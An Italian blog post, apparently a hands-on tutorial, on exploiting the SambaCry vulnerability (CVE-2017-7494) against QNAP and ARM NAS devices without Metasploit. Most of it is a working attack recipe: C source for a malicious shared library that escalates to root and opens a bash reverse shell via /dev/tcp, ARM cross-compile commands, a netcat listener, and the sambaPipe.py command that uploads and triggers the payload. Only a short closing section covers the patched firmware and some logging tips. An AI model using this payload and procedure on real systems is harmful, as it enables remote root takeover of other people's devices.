sambacry

Eccomi di ritorno dalle meritate ferie, e come promesso, sono pronto a mettere nero su bianco i miei test effettuati con la vulnerabilità SambaCry.

Questo post potrà esservi utile per sfruttare la vulnerabilità SambaCry nei server samba installati nei dispositivi nas QNAP o ARM in generale, senza dover utilizzare il framework Metasploit.

Non voglio dilungarmi nella descrizione della vulnerabilità, googlando SambaCry o CVE-2017-7494 troverete tonnellate di materiale.
In poche parole questo bug permette di eseguire comandi sul server samba remoto, l’unico requisito è l’accesso in scrittura di una cartella condivisa!
Un ipotetico malintenzionato non dovrebbe far altro che caricare sulla cartella remota un libreria condivisa (shared library) contenente una backdoor per poi farla eseguire al demone samba tramite una semplice richiesta named pipe.
Qui si scatena il Remote Code Execution.

Dopo un po di teoria partiamo con i requisiti necessari ad effettuare i test.

Requisiti

  1. Una distribuzione Linux, io ho utilizzato Kali e BackBox x64
  2. Un compilatore per processori ARM x86 (arm cross compiler)
  3. Libreria python Impacket
  4. Exploit SambaPipe.py
  5. Python < 2.7
  6. Netcat

Installazione requisiti

Come anticipato nella sezione precedente ho effettuato i test con le distribuzioni Kali e BackBox: Python 2.7, impacket e netcat sono già preinstallati.
Nonostante ciò ho dovuto aggiornare la libreria impacket con l’ultima versione perché ho riscontrato problemi all’esecuzione dell’exploit SambaPipe.

 Nota: non ho appurato se questa operazione può alterare il funzionamento di altri tools all’interno delle distribuzioni.
Vi consiglio caldamente di effettuare questa operazione in una virtual machine o macchina di test.

Partiamo con l’aggiornamento di impacket:

root@kali:~# git clone https://github.com/CoreSecurity/impacket
root@kali:~# cd impacket
root@kali:~# python setup.py install

e proseguiamo con l’installazione del compilatore arm:

root@kali:~# apt-get install libc6-armel-cross libc6-dev-armel-cross binutils-arm-linux-gnueabi \\ 
libncurses5-dev gcc-arm-linux-gnueabi g++-arm-linux-gnueabi

Dopo di che troveremo l’exploit scritto da beto (@agsolino) nel path:

/usr/local/bin/sambaPipe.py

Creazione payload

Per sfruttare la vulnerabilità SambaCry è necessario creare una shared library da far eseguire al server samba.

Come payload ho scelto una bash reverse shell, ma con una particolarità: esegue un privilege escalation per guadagnare i permessi di root (grazie a Bobby ‘Tables‏ @info_dox per il suggerimento)

Con l’editor preferito creiamo due file poc.h e poc.c:

--poc.h---
#ifndef poc_h__
#define poc_h__
 
extern int samba_init_module(void);
 
#endif
-----------
---poc.c---
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>

extern bool change_to_root_user(void);
int samba_init_module(void)
{
 change_to_root_user();
 system("bash -i >& /dev/tcp/192.168.0.10/4444 0>&1");
 return 0;
}
-----------

 Nota: Sostituire l’ip e la porta scritta in rosso. Eseguire un semplice: ifconfig per leggere il proprio ip.

A questo punto non resta che compilare la nostra reverse shell per l’architettura arm:

root@kali:~# arm-linux-gnueabi-gcc -c -Wall -Werror -fpic poc.c
root@kali:~# arm-linux-gnueabi-gcc -shared -o r3vsh3ll.so poc.o

Il risultato è la shared library: r3vsh3ll.so

Exploiting SambaCry

Adesso che tutto il materiale è pronto facciamo un riepilogo:

  • Client – Kali: 192.168.0.10
  • Target – QNAP: 192.168.0.4
  • Exploit: SambaPipe.py
  • Payload: r3vsh3ll.so

In giro ho trovato vari exploit e poc che utilizzavano la libreria impacket, ma tutti avevano un problema comune: non funzionavano con il protocollo smbv1.

Da quello che ho potuto constatare i nas QNAP di default utilizzano samba con il protocollo smbv1.

Mentre sperimentavo e imprecavo contro python, il buon beto pubblicava un aggiornamento della libreria impacket con l’exploit SambaPipe.py.

Tra le sue varie opzioni sono disponibili anche le seguenti caratteristiche:

  1. Ricerca automatica dell cartelle condivise con accesso in scrittura.
  2. Ricerca automatica del path remoto dove risiede la backdoor caricata.
  3. Autoriconoscimento dei protocolli samba 1, 2 e 3 del server target.
  4. Autenticazione anonima o tramite credenziali.

In questa fase avremo bisogno di due terminali, uno da dove eseguiremo l’exploit e l’altro dove attenderemo la chiamata della reverse shell.

Partiamo con netcat.

Mettiamoci in ascolto sulla porta scelta all’interno del payload precedentemente generato, nel mio caso la 4444:

root@kali:~# nc -lvp 4444

Il risultato sarà il seguente:

sambacry

Nel secondo terminale invece facciamo partire l’exploit:

root@kali:~# sambaPipe.py -so r3vsh3ll.so 192.168.0.4

 Nota: lo switch “-so” serve a spacificare il payload da caricare sul server target. Eseguendo l’exploit senza parametri riceverete l’intera lista delle opzioni.

sambacry

Dall’immagine si può notare che l’exploit ha trovato accesso anonimo in scrittura alla cartella Public ed ha eseguito la reverse shell.

Spostandosi sul primo terminale, se tutto è andato a buon fine, avremo la nostra bella shell con diritti di root:

sambacry

QNAP – fix SambaCry

I test che ho riportato in questo post sono stati effettuati nel modello di QNAP: TS-219P

Controllando la pagina “Release Notes for QTS“, l’ultimo firmware vulnerabile è il numero 4.3.3.0188 mentre il 2017/06/07 è stata rilasciata la patch nel firmware numero 4.3.3.0210

Suggerimenti

  1. Sul server samba di test abilitate l’opzione “log level = 10“, in questo modo avrete il massimo della verbosità dei log e potrete vedere quando i tentativi di iniettare la libreria andranno a buon fine.
  2. Se settate l’opzione “log level = 10” in un dispositivo QNAP, ricordatevi di svuotare continuamente i log di samba, altrimenti rischierete di finire lo spazio disco.
  3. Utilizzate un analizzatore di rete tipo wireshark per capire come funziona la vulnerabilità e il protocollo samba in generale.

Riferimenti